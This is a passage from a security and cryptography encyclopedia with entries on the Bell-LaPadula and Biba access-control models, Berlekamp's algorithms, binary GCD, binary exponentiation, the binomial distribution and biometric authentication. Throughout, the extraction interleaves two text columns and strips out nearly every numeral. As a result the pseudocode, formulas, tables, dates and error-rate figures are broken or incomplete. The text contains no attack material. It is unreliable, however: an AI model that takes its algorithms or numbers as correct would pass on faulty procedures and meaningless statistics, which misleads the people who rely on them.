cretionary security, and -property. Simple security was than a (process, domain) pair as in computers. Similarly,
the object instantiation was a labeled connection between model as the tool to bridge the gap between narrative pol-
hosts. The notion of a connection object was brought into icy and the implementation design and to act as a guide for
the model by defining the set of objects O through a implementation. Difficulties in applying the model were
function liaison: S S L. Rules specific to establishing fed back into model development, to the benefit of both
and tearing down a connection were written and proved the modeling and the engineering tasks. Throughout the
security-preserving []. s, various efforts to build high-security designs and
In the s, variations on military classification poli- implementations relied on the model, notably, both Ker-
cies and completely different security policies appeared nelized Security Operating Systems (KSOS), KSOS- and
in the literature. Most notable were Clark and Wilsons KSOS-; the Kernelized Virtual Machine/ (KVM/);
A Comparison of Commercial and Military Computer and continuing development on Multics. In , the Com-
Security Policies [] and Brewer and Nashs The Chinese puter Security Center issued the Trusted Computer System
Wall Security Policy []. Clark and Wilson described a Evaluation Criteria (TCSEC) [, ], a standard for evaluat-
policy derived from commercial requirements to protect ing products and systems against the most successful secu-
(one version of) the integrity of data. Its most unusual rity principles developed previously. The BellLa Padula
feature was the use of access triples (subject, object, pro- model was included by reference as an exemplar of the type
gram) rather than duples (subject, object) in its access con- of security model that was required for high-level secu-
trol rules. Alice can access the file Customer_Records but rity. A correspondence of the model to the design was also
only by using the program Standard_Retrieval. Brewer and required, reflecting the Anderson Reports views about the
Nash abstracted their security policy from financial stan- use of a security model to build systems.
dards that have the force of law in the United Kingdom. The After the publication of the TCSEC, a formal evalua-
distinguishing feature of their policy is that a discretionary tion program for commercial products commenced. A vast
action by a financial analyst limited her future actions majority of the candidates for high-security evaluations
in a non-discretionary way. If Alice chose to specialize built on the Bell-La Padula, including Honeywells A
in British Petroleum, she could access more sensitive BP Secure Computer (SCOMP), Geminis A Gemini Trusted
records, but that decision blocked her from specializing in Network Processor (GTNP), Digital Equipments A can-
ExxonMobil at a later time. didate Security Enhanced/VMS (SE/VMS), Wangs B
The proliferation of security policies posed a problem XTS- and XTS-, Honeywells B Multics system,
in the fielding of operational systems. Computer manufac- Trusted Information Systemss B Trusted Xenix system,
turers would not support an unlimited number of incom- and Oracles EAL Trusted Oracle, Oracle, Oracle, and
patible security policies. They would limit themselves Oracle. In the area of high-security systems too, the Bell
to supporting the most common ones and, hence, the La Padula model was very widely employed. Examples
ones most lucrative. Fortunately, the differences between are BLACKER Phase , Grummans Headquarters System
these policies were more apparent than real. All could be Replacement Program (HSRP) for the Pentagon, the
represented as boolean lattices and thus could be sup- SAC Digital Network (SACDIN), and the United King-
ported by any boolean-policy implementation. Since the doms Corporate Headquarters Office Technology System
military categories or compartments are a pure form of (UK CHOTS).
boolean lattice, existing security solutions suffice for all the No other security model has been utilized more in
different-seeming security policies []. Bells Putting Pol- the design, implementation, and fielding of highly secure
icy Commonalities to Work [] demonstrated boolean- computer and network systems.
lattice solutions for all identified security policies. In the
process, he extended the BellLa Padula definitions, tools,
and results to any boolean-lattice policy one that can be
Recommended Reading
expressed by well-formed formul of conditions joined by
. Anderson JP () Computer security technology planning
AND, OR, and NOT. study. ESD-TR--, vol I, AD- , ESD/AFSC, Hanscom
AFB, Massachusetts
. Brewer D, Nash M () The Chinese wall security policy.
Applications In: Proceedings of the IEEE symposium on security and
privacy, Oakland, May , pp
The applications of the BellLa Padula model began dur-
. Clark D, Wilson D () A comparison of commercial and mili-
ing its development, consistent with the work plan of tary computer security policies. In: Proceedings of the IEEE
the Anderson Report. Both the secure prototype and the symposium on security and privacy, Oakland, Apr ,
final securing of Multics under Project Guardian used the pp
Berlekamp Q-matrix B
. Department of Defense Trusted Computer System Evaluation Theory

Criteria, CSC-STD--, Aug Let Fq be a finite field and let f (x) be a monic polynomial
. Department of Defense Trusted Computer System Evaluation
of degree d over Fq :
Criteria, DOD .-STD, Dec
. Bell D Elliott () Secure computer systems: a refinement
of the mathematical model, MTR-, vol III. The MITRE f (x) = xd + fd xd + + f x + f , B
Corporation, Bedford, p (ESD-TR---III)
. Bell D Elliott () Secure computer systems: a network inter-
pretation. In: Proceedings of the second aerospace computer where the coefficients f , . . . , fd are elements of Fq . The
conference, McLean, Dec , pp factorization of f (x) has the form
. Bell D Elliott () Lattices, policies, and implementations. In:
Proceedings of the th national computer security conference, e
Washington, DC, Oct , pp f (x) = hi (x) i ,
i
. Bell D Elliott () Putting policy commonalities to work. In:
Proceedings of the th national computer security conference,
Washington, DC, Oct , pp where each factor hi (x) is an irreducible polynomial and
. Bell D Elliott () Looking back at the Bell-La Padula model. ei is the multiplicity of the factor hi (x).
In: Proceedings of the ACSAC, Tucson, AZ, Dec ,
Berlekamps algorithm exploits the fact that for any
pp
. Bell D Elliott, La Padula LJ () Secure computer sys-
polynomial g(x) over Fq ,
tems: mathematical foundations, MTR-, vol I. The MITRE
q
Corporation, Bedford (ESD-TR---I) g(x) g(x) = (g(x) c).
. Bell D Elliott, La Padula LJ () Secure computer systems: cF q
unified exposition and multics interpretation, MTR-. The
MITRE Corporation, Bedford (ESD-TR--)
. Graham GS, Denning PJ () Protection principles and Accordingly, given a polynomial g(x) such that
practice. In: Proceedings of the SJCC, Atlantic City, NJ, pp

g(x)q g(x) mod f (x),
. La Padula LJ, Bell D Elliott () Secure computer systems: a
mathematical model, MTR-, vol. II. The MITRE Corpora-
tion, Bedford (ESD-TR---II) one can find factors of f (x) by computing the greatest
. Saltzer J () Protection and the control of information in common divisor (in terms of polynomials) of f (x) and
Multics. Comm ACM ():
each g(x) c term. (This process may need to be repeated
. Thompson K () On trusting trust. Unix Rev ():
with other polynomials g(x) until the irreducible factors
. Ware W (ed) () Defense Science Board report, Security hi (x) are found.) The Q-matrix is the key to obtaining
controls for computer systems, RAND Report R- the polynomial g(x). In particular, Berlekamp elegantly
. Weissman C () Security controls in the ADEPT- Time- showed [] how to transform the congruence above into
Sharing System. In: AFIPS conference proceedings, vol ,
a problem in linear algebra,
FJCC, Montvale, NJ, , pp
(Q I)g = ,
where Q is a d d matrix over Fq , and I is the d d identity

Berlekamp Q-matrix matrix. The elements of Q correspond to the coefficients
of the polynomials xqi mod f (x), i < d. The elements
Burt Kaliski of each solution g, a vector over Fq , are the coefficients of
Office of the CTO, EMC Corporation, Hopkinton g(x). The running time of the algorithm as described is
MA, USA polynomial time in d and q, but it can be improved to be
polynomial in d and log q, and more efficient algorithms
are also available (e.g., []).
Related Concepts
Finite Field; Irreducible Polynomial
Recommended Reading
. Berlekamp ER () Factoring polynomials over large finite
Denition fields. Math Comp :
The Q-matrix is the key component in Berlekamps algo- . Shoup V, Kaltofen E () Subquadratic-time factorization of
rithm for factoring a polynomial over finite field. polynomials over finite fields. Math Comp ():
B BerlekampMassey Algorithm
BerlekampMassey Algorithm. Table The

BerlekampMassey Algorithm BerlekampMassey algorithm
Input. sn = s s . . . sn , a sequence of n elements of F q .
Anne Canteaut Output. , the linear complexity of sn and P, the
Project-Team SECRET, INRIA Paris-Rocquencourt, feedback polynomial of an LFSR of length
Le Chesnay, France which generates sn .
Initialization.
P(X) , P (X) , , m , d .
Related Concepts
Linear Complexity; Linear Feedback Shift Register;
For t from to n do
Minimal Polynomial; Stream Cipher
d st + i=

pi sti .
If d then
Denition T(X) P(X).
The BerlekampMassey algorithm is an algorithm for
P(X) P(X) d(d ) P (X)X tm .
determining the linear complexity of a finite sequence
if t then
and the feedback polynomial of a linear feedback shift
t + .
register (LFSR) of minimal length which generates this
m t.
sequence.
P (X) T(X).
d d.
Background Return and P.
This algorithm is due to Massey (), who showed that
the iterative algorithm proposed in by Berlekamp for
decoding BCH codes can be used for finding the shortest
LFSR that generates a given sequence []. BerlekampMassey Algorithm. Table Successive steps of
the BerlekampMassey algorithm applied to the binary
Theory sequence of length , s . . . s =
For a given sequence sn of length n, the BerlekampMassey t st d P(X) m P (X)
performs n iterations. The tth iteration determines an
LFSR of minimal length which generates the first t digits
of sn . The algorithm is described in Table . + X
In the particular case of a binary sequence, the quantity + X + X
d does not need to be stored since it is always equal to . +X
Moreover, the feedback polynomial is simply updated by +X
+ X + X +X
tm
P(X) P(X) + P (X)X . + X + X +X
The number of operations performed for computing the

linear complexity of a sequence of length n is O(n ).
It is worth noticing that the LFSR of minimal length
Example Table describes the successive steps of
that generates a sequence sn of length n is unique if and
the BerlekampMassey algorithm applied to the binary
only if n (sn ), where (sn ) is the linear complexity
sequence of length , s . . . s = . The values of
of sn .
and P obtained at the end of step t correspond to the lin-
The linear complexity (s) of a linear recurring
ear complexity of the sequence s . . . st and to the feedback
sequence s = (st )t is equal to the linear complexity of the
polynomial of an LFSR of minimal length that generates it.
finite sequence composed of the first n terms of s for any
n (s). Thus, the BerlekampMassey algorithm deter-
mines the shortest LFSR that generates an infinite linear
Recommended Reading
recurring sequence s from the knowledge of any (s)
. Massey JL () Shift-register synthesis and BCH decoding.
consecutive digits of s. IEEE Trans Inform Theory :
It can be proved that the BerlekampMassey algorithm . Dornstetter JL () On the equivalence between Berlekamps
and the Euclidean algorithm are essentially the same []. and Euclids algorithms. IEEE Trans Inform Theory :
Biba Model B
Biba model, as with the BellLaPadula model, can be

Biba Integrity Model combined with discretionary access controls, which allow
owners of objects to grant or deny privileges to other
Aaron Estes users or resources. The discretionary policy must always
Department of Computer Science and Engineering, Lyle be assessed after the mandatory policy in order to maintain
School of Engineering, Southern Methodist University, the goal of the Biba model.
B
Dallas, TX, USA These properties define the formal rule set for the Biba
model:
Synonyms . The Simple Integrity Property the system must pre-
Biba mandatory integrity policy vent a subject at a given integrity level from reading
objects of a lower integrity level.
Related Concepts . The Simple (star) Integrity Property the system
Access Control From an OS Security Perspective; must prevent a subject at a given integrity level from
Bell-LaPadula Confidentiality Model; Biba Model; writing to objects of a higher integrity level.
Discretionary Access Control; Mandatory Access
Control; Mandatory Access Control Policy (MAC) Recommended Reading
. Biba KJ () Integrity considerations for secure computer sys-
Denition tems. MTR-. The Mitre Corporation
. Bishop M () Computer security art and science. Addison
The Biba Integrity Model is a hierarchical security model Wesley Professional, Boston, MA
designed to protect system assets (or objects) from unau- . Kim D () Fundamentals of information system security. Jones
thorized modification; which is to say it is designed to and Bartlett Learning, Sadbury, MA
protect system integrity. In this model, subjects and objects
are associated with ordinal integrity levels where subjects
can modify objects only at a level equal to or below its own
integrity level.
Biba Mandatory Integrity Policy
Biba Integrity Model
Background
The Biba Integrity Model is named after its inventor,
Kenneth J. Biba, who created the model in the late s
to supplement the BellLaPadula security model, which Biba Model
could not ensure complete information assurance on
its own because it did not protect system integrity. The Jonathan K. Millen
Biba policy is now implemented alongside BellLaPadula The MITRE Corporation, Bedford, MA, USA
on high assurance systems that enforce mandatory access
control.
Applications Synonyms
Integrity model
In order to ensure data integrity, the Biba Integrity Model
specifies that subjects can only modify objects at or below
the integrity level of the subject. It also specifies that sub- Related Concepts
jects can only read objects at or above the integrity level of Bell-LaPadula Model; Biba Integrity Model;
that subject. This policy is normally summarized using the Mandatory Access Control; Reference Monitor
phrases no write up, and no read down.
In order to be properly enforced, the Biba model must Background
be implemented as a Mandatory Access Control (MAC) The Biba integrity model, published in as a MITRE
or sometimes Mandatory Integrity Control (MIC). This Corporation technical report, followed close on the heels
means that access to objects is controlled and enforced of the Bell-LaPadula model []. Like the latter, it for-
by the system and the Biba rule set rather than at the mulated a mandatory security policy for use by com-
sole discretion of users or system administrators. The puter systems containing classified information. While
B Big Number Multiplication
the mandatory policy of the Bell-LaPadula model was Applications

designed to protect confidentiality, the security objective The strict integrity policy was a welcome idea for secure
of the Biba model was to protect integrity. computer system vendors who were already committed
Bibas report presented three alternative integrity poli- to implementing the Bell-LaPadula model, and wanted to
cies: a low-water mark policy, a ring policy, and the strict support integrity as well. As the dual of the Bell-LaPadula
integrity policy. The strict integrity policy is the one that mandatory policy, it could be implemented easily using the
has become well known as the Biba integrity policy. existing level assignment and comparison mechanisms.
It was only necessary to provide a space for the integrity
Theory level and perform an inverted access control comparison
The strict integrity policy is a dual to the Bell-LaPadula on that label.
mandatory security policy. It assumes that an integrity Some system designers got into trouble by assuming
level il(x) has been assigned to each subject and object. that, since they were using sensitivity levels for integrity
The set of possible integrity levels form a lattice; that is, levels, the two levels could be the combined. That is, if
they are partially ordered by a relation leq, less than a file is labeled Top-Secret for confidentiality purposes,
or equal, for which the least upper bound and greatest isnt it sensitive enough so that its integrity should also
lower bound of any two elements are defined. In examples, be Top-Secret, and the same for other levels? The prob-
Biba used sensitivity levels Confidential, Secret, and Top- lem is that the Bell-LaPadula and Biba properties together
Secret as integrity levels, a choice which has led to some require read access to be from a subject both above and
confusion. below the object level, implying that read access can only be
The integrity level assignment is fixed in the strict from the same level. Similarly for write access. This effec-
and ring policies. The low-water mark policy allows lev- tively segregates all processing by level, eliminating the file
els to be reduced to satisfy properties required by the other sharing which was the whole point of multilevel systems.
policies. The Biba strict integrity model, while easy to imple-
The strict integrity policy controls three kinds of access ment, was often found to be too inflexible. There was found
between subjects and objects: observe access, denoted o; to be a need for limited trust, something like Bibas ring
modify access, denoted m; and invoke, denoted i. The last policy, but even more flexible. Recent alternatives include
one is between two subjects. type enforcement policies, together with other forms of
The strict integrity policy has three axioms, the first two integrity protection like execute-only memory.
of which are analogous to the Bell-LaPadula simple secu-
rity condition and *-property. Suppose that s and s are Recommended Reading
subjects and o is an object. Then . Biba KJ (April ) Integrity considerations for secure computer
systems, ESD-TR -, ESD Technical Report, The MITRE
. s o o il(s) leq il(o). Corporation
. s m o il(o) leq il(s).
. s i s il(s ) leq il(s).
Property () says that a subject may observe only
higher-integrity objects, property () that a subject may Big Number Multiplication
modify only lower-integrity objects, and property () that
a subject may invoke only a lower-integrity subject. Prop- Multiprecision Multiplication
erty () is the least controversial; it prevents an object from
being modified by a program or process of lower integrity.
Property () prevents a subject from copying lower-
integrity data from one file into another higher-integrity Big Number Squaring
file that it can modify by property (). This property is
removed in Bibas ring policy, with the expectation that Multiprecision Squaring
subjects are trusted enough not to be misled by lower-
integrity data.
Property () prevents a subject from affecting higher-
integrity objects indirectly through another higher- Bilinear Pairings
integrity subject. This property is often forgotten when this
policy is described or implemented. Pairings
Binary Euclidean Algorithm B
While u is even AND v is even do

Binary Euclidean Algorithm u u/ ; v v/ ; g g;
End While
Berk Sunar While u do
Department of Electrical and Computer Engineering, While u is even do u u/ ;
Worcester Polytechnic Institute, Worcester, MA, USA While v is even do v v/ ;
B
t u v/ ;
Synonyms If u v then
Binary GCD algorithm; Steins algorithm u t;
Else
Related Concepts v t;
Euclidean Algorithm; Modular Inverse Computation End While
End While
Denition Return (gv)
The binary euclidean algorithm is a technique for com- In the algorithm, only simple operations, such as addition,
puting the greatest common divisor and the euclidean subtraction, and divisions by two (right shifts) are com-
coefficients of two nonnegative integers. puted. Although the binary GCD algorithm requires more
steps than the classical euclidean algorithm, the operations
Background are simpler. The number of iterations is known [] to be
The principles behind this algorithm were first published
bounded by (log (u) + log (v) + ).
by R. Silver and J. Tersian, and independently by J. Stein
Similar to the extended euclidean algorithm, the binary
[]. Knuth claims [] that the same algorithm may have
GCD algorithm was adapted to return two additional
been known in ancient China based on its appearance in
parameters s and t such that
verbal form in the first century A.D. text Nine Chapters on
Arithmetic by Chiu Chang Suan Shu. su + tv = gcd(u, v)
These parameters are essential for modular inverse compu-
Theory tations. If gcd(u, v) = then it follows that s = u mod v
The binary GCD algorithm is based on the following
and t = v mod u. Knuth [] attributes the extended ver-
observations on two arbitrary positive integers u and v:
sion of the binary GCD algorithm to Penk. The algorithm
If u and v are both even, then gcd(u, v) = gcd(u/, given below is due to Bach and Shallit [].
v/);
The Binary Euclidean Algorithm
If u is even and v is odd, then gcd(u, v) = gcd(u/, v);
Input: positive integers x and y
Otherwise both are odd, and gcd(u, v) = gcd(u
Output: integers s, t, g such that su + tv = g where
v/, v).
g = GCD(u, v)
The three conditions cover all possible cases for u and v. g
The Binary GCD algorithm given below systematically While u is even AND v is even do
reduces u and v by repeatedly testing the conditions and u u/ ; v v/ ; g g;
accordingly applying the reductions. Note that, the first End While
condition, i.e., u and v both being even, applies only in the x u ; y v ; s ; s ; t ;
very beginning of the procedure. Thus, the algorithm first t ;
factors out the highest common power of two from u and v L While x is even do
and stores it in g. In the remainder of the computation only x x/;
the other two conditions are tested. The computation ter- If s is even and t is even then
minates when one of the operands becomes zero. The s s / ; t t / ;
algorithm is given as follows. Else
s (s + v)/; t (t u)/ ;
The Binary GCD Algorithm
End If
Input: positive integers x and y End While
Output: g=GCD(u,v) While y is even do
g y y/;
B Binary Exponentiation
If s is even AND t is even then and no division operations. Both algorithms have a
s s / ; t t / ; large number of applications in cryptography, such as
Else in public key cryptography (e.g., in the setup phase
s (s + v)/; t (t u)/ ; of RSA, or in the implementation of point opera-
End If tions in elliptic curve cryptography), for factorization
End While attacks (e.g., for the implementation of the sieving step),
If x y then and in the statistical testing of pseudo-random number
x x y ; s s s ; t t t ; generators.
Else
y y x ; s s s ; t t t ; Recommended Reading
End If . Stein J () Computational problems associated with racah
If x = then algebra. J Comput Phys :
s s ; t t ; . Knuth DE () The art of computer programming, vol :
Seminumerical algorithms, rd edn. Addison-Wesley Longman
Else
Publishing Co., Inc., Reading, Massachusetts
GoTo L . Menezes AJ, van Oorschot PC, Vanstone SA () Handbook of
End If applied cryptography. CRC Press, Boca Raton, Florida
Return (s, t, gy) . Brent RP () Analysis of the binary Euclidean algorithm. In:
Traub JF (ed) Algorithms and complexity. Academic Press, New
The binary euclidean algorithm may be used for York, pp
computing modular inverses, i.e., a mod m, by setting . Bach E, Shallit, J () Algorithmic number theory, vol I: Effi-
u = m and v = a. Upon termination of the execution, if cient algorithms. MIT Press, Cambridge, Massachusetts
. Jebelean T () Comparing several GCD algorithms. In: th
gcd(u, v) = then the inverse is found and its value is
IEEE Symposium on computer arithmetic, Windsor, Ontario,
stored in t. Otherwise, the inverse does not exist. In [], it Canada
is noted that for computing multiplicative inverses the val- . Jebelean T () A generalization of the binary gcd algorithm.
ues of s and t do not need to be computed if m is odd. In In: Proceedings of the international symposium on sym-
this case, the evenness condition on s and t in the second bolic and algebraic computation, ACM Press, Kiev, Ukraine,
while loop may be decided by examining the parity of s . pp
. Lehmer, DH () Euclids algorithm for large numbers. Am
If m is odd and s is even, then s must be even. Math Mon :
The run time complexity is O((log(n)) ) bit opera- . Sorenson J () Two fast GCD algorithms. J Algorithms
tions. Convergence of the algorithm, if not obvious, can be ():
shown by induction. A complexity analysis of the binary
euclidean algorithm was presented by R. P. Brent in [].
Bach and Shallit give a detailed analysis and comparison
to other GCD algorithms in [].
Sorenson claims that the binary euclidean algorithm is Binary Exponentiation
the most efficient algorithm for computing greatest com-
mon divisors []. In the same reference Sorenson also Bodo Mller
proposed a k-ary version of the binary GCD algorithm Google Switzerland GmbH, Zrich, Switzerland
with worst case running time O(n / log(n)).
In [], Jebelean claims that Lehmers euclidean algo-
rithm [] is more efficient than the binary GCD algorithm. Synonyms
The same author presents [] a word-level generalization of Square-and-multiply exponentiation
the binary GCD algorithm with better performance than
Lehmers euclidean algorithm. Related Concepts
Exponentiation Algorithms
Applications
The binary euclidean algorithm gives an alternative to Denition
the euclidean algorithm. Typically the binary euclidean The binary exponentiation method computes powers
algorithm is preferred in hardware implementations due directed by the exponent bits, one at a time. Bits of value
to ease of implementation, since it requires only simple require a squaring; bits of value require a squaring and a
operations (i.e., shifts, integer additions and subtractions) multiplication.
Binary Exponentiation B
Background if ei = then
Most schemes for public key cryptography involve expo- AAg
nentiation in some group (or, more generally, in some return A
semigroup: an algebraic structure like a group except that If the group is considered multiplicative, then comput-
elements need not have inverses, and that there may not ing A A means squaring A, and computing A g means
even be an identity element). The term exponentiation
B
multiplying A by g; hence this algorithm is also known as
assumes that the group operation is written multiplica- the square-and-multiply method for exponentiation. If the
tively. If the group operation is written additively, one group is considered additive, then computing A A means
speaks of scalar multiplication instead, but this change in doubling A, and computing A g means adding g to A;
terminology does not affect the essence of the task. hence this algorithm is also known as the double-and-add
Let denote the group operation and assume that the method for scalar multiplication.
exponentiation to be performed is g e where g is an ele- The algorithm shown above performs a left-to-right
ment of the group (or semigroup) and e is a positive integer. exponentiation, i.e., it starts at the most significant digit
Computing the result g . . . g in a straightforward way of the exponent e (which, assuming big-endian notation,
by applying the group operation e times is feasible only appears at the left) and goes toward the least significant
if e is very small; for e , it is possible to compute g e digit (at the right). The binary exponentiation method also
with fewer applications of the group operation. Determin- has a variant that performs a right-to-left exponentiation,
ing the minimum number of group operations needed for i.e., starts at the least significant digit and goes toward the
the exponentiation, given some exponent e, is far from most significant digit:
trivial; Fixed-Exponent Exponentiation. (Furthermore,
the time needed for each single computation of the group flag false
operation is usually not constant: for example, it often is B identity element
faster to compute a squaring A A than to compute a gen- Ag
eral multiplication A B.) Practical implementations that for i = to l do
have to work for arbitrary exponents need exponentiation if ei = then
algorithms that are reasonably simple and fast. if flag then
Assuming that for the exponentiation one can use no B BA
other operation on group elements than the group opera- else
tion (and that one cannot make use of additional infor- B A {Optimization for B B A}
mation such as the order of the group or the order of flag true
specific group elements), it can be seen that for l-bit expo- if i < l then
nents (i.e., l e < l ), any exponentiation method will AAA
have to apply the group operation at least l times to arrive return B
at the power g e . This algorithm again presumes that el = . The
right-to-left method is essentially the traditional algorithm
Theory known as Russian peasant multiplication, generalized to
The left-to-right binary exponentiation method is a very arbitrary groups.
simple and memory-efficient technique for performing For an l-bit exponent, the left-to-right and right-to-left
exponentiations in at most (l ) applications of the binary exponentiation methods both need l squaring
group operation for any l-bit exponent (i.e., within a fac- operations (A A) and, assuming that all bits besides el
tor of two from the lower bound). It is based on the binary are uniformly and independently random, (l)/ general
representation of exponents e: group operations (A g or B A) on average.
Various other methods are known that can be consid-
l
i
e = ei , ei {, } ered variants or generalizations of binary exponentiation:
i= k -ary exponentiation and sliding window exponen-
tiation for other methods for computing powers (which
With l chosen minimal in such a representation, it follows
can often be faster than binary exponentiation), and
that el = . Then g e can be computed as follows:
Simultaneous Exponentiation for methods for comput-
Ag ing power products. See also Signed Digit Exponentia-
for i = l down to do tion for techniques that can improve efficiency in groups
A AA allowing fast inversion.
B Binary Functions
Applications and the coin flips are independent of one another, then the
Exponentiation is frequently used in public key cryp- probability is given by the equation
tography, and the binary exponentiation method provides n
a particularly simple implementation. However, side- Pr[k headsn coin flips] = ( ) n .
k
channel attacks often need to be considered in order to
protect secrets, and the binary exponentiation method will n
Here, the notation ( ), read n choose k, is the number
not always be suitable. k
of ways of choosing k items from a set of n items, ignoring
Recommended Reading order. The value may be computed as
. Knuth DE () The art of computer programming
n n!
vol : Seminumerical algorithms, rd edn.Addison-Wesley, ( )= .
Reading, MA k k! (n k)!
For the first several values of n, the following probabilities
are as follows for an unbiased coin (read k left to right from
to n):
Binary Functions n=:
n=:

Boolean Functions n=:

n=:

n = :

Binary GCD Algorithm More generally, if the coin flips are independent but the
probability of heads is p, the binomial distribution is like-
wise biased:
Binary Euclidean Algorithm
Pr[k headsn coin flips, probability p of heads]
n
= ( ) pk ( p)nk .
k
Binding Pattern The name binomial comes from the fact that there
are two outcomes (heads and tails), and the probability
Access Pattern distribution can be determined by computing powers of
the two-term polynomial (binomial) f (x) = px + ( p).
The probability that there are exactly k heads after n coin
flips is the same as the xk term of the polynomial f (x)n .
Binomial Distribution
Burt Kaliski
Applications
As coin flips (either physical or their computational
Office of the CTO, EMC Corporation, Hopkinton
equivalent) are the basic building block of randomness
MA, USA
in cryptography, the binomial distribution is likewise the
foundation of probability analysis in this field.
Related Concepts
Randomness Tests
Denition Biometric Authentication

A binomial distribution is a distribution describing the
probability that an event occurs k times in n independent Nary Subramanian
trials, for each value of k between and n. Department of Computer Science, The University
of Texas at Tyler, Tyler, TX, USA
Theory
If a two-sided coin is flipped n times, what is the prob- Synonyms
ability that there are exactly k heads? This probability is Anthropometric authentication; Authentication;
given by the binomial distribution. If the coin is unbiased Fingerprint authentication
Biometric Authentication B
Related Concepts Theory

Authentication In order to recognize people we typically observe their
biology and behavior their looks, the way they talk, or
the way they walk attributes and behaviors that are typ-
Denition
ically invariant (or do not change significantly) during a
Biometric authentication is a technique for identifying the
persons lifetime. Such attributes include a persons face,
B
person accessing a secured asset, be it a physical space,
fingerprints, retinal patterns, voice patterns, writing, and
computer software or hardware, as being indeed who they
gait [, ]. This is the reason why photo identification is
claim to be by comparing their unique biological features
used at many secured places including ports of entry, air-
such as fingerprints, palm print, retina scan, or voice pat-
ports, and schools, and a persons signature on a document
tern recognition with their corresponding features in the
is still used as an official confirmation of that persons
database and to grant the person access only when there is
acceptance to the terms of that document. This approach
a match.
can also be automated so that machines can identify people
using their unique biological and behavioral characteris-
Background tics. This principle has been used for tracking criminals
While accessing our ATM accounts typically we slide our based on their unique biomarkers at the scene of crime.
bank card and enter a PIN; very frequently when enter- Thus there are two main purposes that biometric authenti-
ing our offices, we slide our office tags on the tag reader cation may be used for []: one for ensuring that a person is
and the door opens for us; and when we access our E-mail who they claim they are, that is, matching a person to their
we typically provide an identifier and a password. All these biomarker (which is also called verification), while the
accesses to both physical and virtual spaces are based on other is to identify a person from a collection of biomark-
certain information only we know (identifier, password, ers as is used for identifying criminals, trauma patients,
and PIN) or certain devices that only we carry (bank card, missing persons, and the like (which is also called identifi-
office tag). However, what happens if we lose this infor- cation). In both cases, a persons biomarker should be first
mation or the device? For example, if we either let it be collected and stored in the system. This is done by asking
known to anybody else (either deliberately or due to social the person to present his/her biomarker at a data collection
engineering on the part of the other person) or another facility the facility consists of a sensor that can collect
person has access to that information (because we wrote the biomarker. For example, fingerprint sensors consist of
it somewhere) or the device, then this other person can a flat glass with a scanner beneath that scans the fingerprint
also access these secured assets as though they were the when a person places his/her finger on the glass plate
original person. These forms of access authentication, that the fingerprint minutiae such as ridge endings and bifurca-
is, identifying the person as being who they are based tions are then extracted and stored in a database; a retina
on what they know or have, has its weaknesses. In order scanner reads the patterns of blood vessels on a persons
to strengthen access authentication frequently assets are retina and stores them in the database; and a voice pattern
being secured by using techniques that identify a person scanner records the distribution of component frequencies
based on what they are: that is, using characteristics of in a persons voice when speaking a specific word or phrase
their body or the nature of their behavior that is very diffi- in a database. The data that is stored is the biomarker of
cult, if not impossible, to duplicate by anybody else. This is the specific category for that person, also referred to as a
referred to as biometric authentication and the characteris- template; usually the data for the biomarker is annotated
tics usually used to authenticate include fingerprints, hand with the persons identifier such as name, address, and the
geometry, retina scans, face recognition, voice recognition, like. Subsequently, when the person presents his/her iden-
keystroke dynamics, and gait. Fingerprints have been used tifier (such as a name, ID, or social security number) and
since the late nineteenth century to identify people; hand biomarker, the authentication system repeats the scanning
geometry is the shape of the hand that is usually different process, creates a biomarker, extracts the stored biomarker
between persons; retina scans consider the unique shape for the persons claimed identity, and checks for a match
of a persons retina; face recognition looks at the image of between the currently extracted and the stored biomark-
a persons face; voice recognition identifies people by their ers for that person. If the number of matching points is
voice frequency characteristics; keystroke dynamics iden- above a defined threshold, the system declares the per-
tifies people by how they type certain patterns of keys; and son as authenticated that is, the person is indeed who
gait identifies people by how they walk. he/she claims to be based on the identity. Another usage
B Biometric Authentication
of a biometric authentication system is to identify a person system; all travelers to international destinations need to
from the biomarker that was obtained, say, from a crime show their passports at immigration/emigration counters
scene: here the biomarker is generated from bio-samples to verify their identities; in the US air travelers to domes-
and then compared with all biomarkers in the database tic destinations have to use a government issued photo
for a match if there is a match the persons identity can identification such as their drivers license. Since biomet-
be extracted for further use by interested agencies. The rics provide stronger identification, they are increasingly
above discussion has referred mainly to static identifiers being used for automated identification of people such as
biometric authentication may be used with dynamic iden- in USPASS (US Passenger Accelerated Service System) [],
tifiers as well such as handwriting or keystroke dynamics: which is an automated immigration system available at
in either case the biomarker is compared with stored data select US international airports where the persons claimed
that varies with time. For example, when monitoring hand- identity is matched with the persons hand geometry to
writing, the variation of pressure with time when writing confirm the identity before allowing the person enter USA.
a specific word or phrase is compared with stored data; Face recognition systems have been used to authenticate
when monitoring keystroke dynamics, the time and pres- medical personnel allowed access to pharmacies in a large
sure differences in a particular sequence of keystrokes are hospital system in the southeastern USA []. The Mexico
compared with the stored data. City International Airport provides access to its employ-
Figure explains the working of a typical biometric ees to restricted areas such as communication rooms, data
authentication system. In phase , a persons biomarker is centers, and security checkpoints using fingerprint read-
collected by a device such as fingerprint reader or palm ers that is also tied to attendance systems to automatically
reader, and the data is processed and then stored in a maintain employees attendance [].
biomarker repository; both the identity of the person and
his/her biomarker are stored. In phase , two options Open Problems
exist authentication or identification. During authenti- Biometric authentication suffers from two basic types of
cation, the person presents his or her biomarker as well errors []: False Match Rate (FMR) and False Non-Match
as identity to the biometric authentication system the Rate (FNMR). FMR errors refer to the incorrect match-
system retrieves the biomarker corresponding to the iden- ing of the submitted biomarker with the claimed identity,
tity from the biomarker repository and compares this with while FNMR errors refer to the incorrect failure to match
the biomarker presented by the person: if there is a match the submitted biomarker with the claimed identity. FMR
the person has been authenticated, else the person is not and FNMR both occur due to inherent inaccuracies in
allowed to access secured assets. During identification, the hardware and software: hardware for biometric reading are
unknown persons biomarker is presented to the biometric inaccurate to a certain extent and the software algorithms
authentication system which then searches the repository used for the matching process are also error prone. For
for the same biomarker if there is a match the corre- example, fingerprint readers have been claimed to have an
sponding identity is retrieved from the repository; else the FMR of % and an FNMR of .%; face readers have an
persons identity remains unknown. FMR of % and an FNMR of %; while voice recogni-
tion systems have an FMR of % and an FNMR of %
Applications []. To understand what these numbers imply, if checks
Biometric authentication can enable a surer identification are made for verification of people using their fingerprints,
of a person so-called three-factor authentication of a then out of these could be falsely verified (i.e., per-
person who claims identity, where the first factor is the mitted to pass to the secured area incorrectly) and about
secret password known only to that person, the second out of these people could be falsely unverified (i.e.,
factor being an item of identification that the person car- not permitted to pass into the secured area even though
ries, and the third factor being the biomarker of that per- they should be). Therefore, high accuracy is an impor-
son. When the biomarker is verified then we are sure that tant issue for proper functioning of and wide adoption of
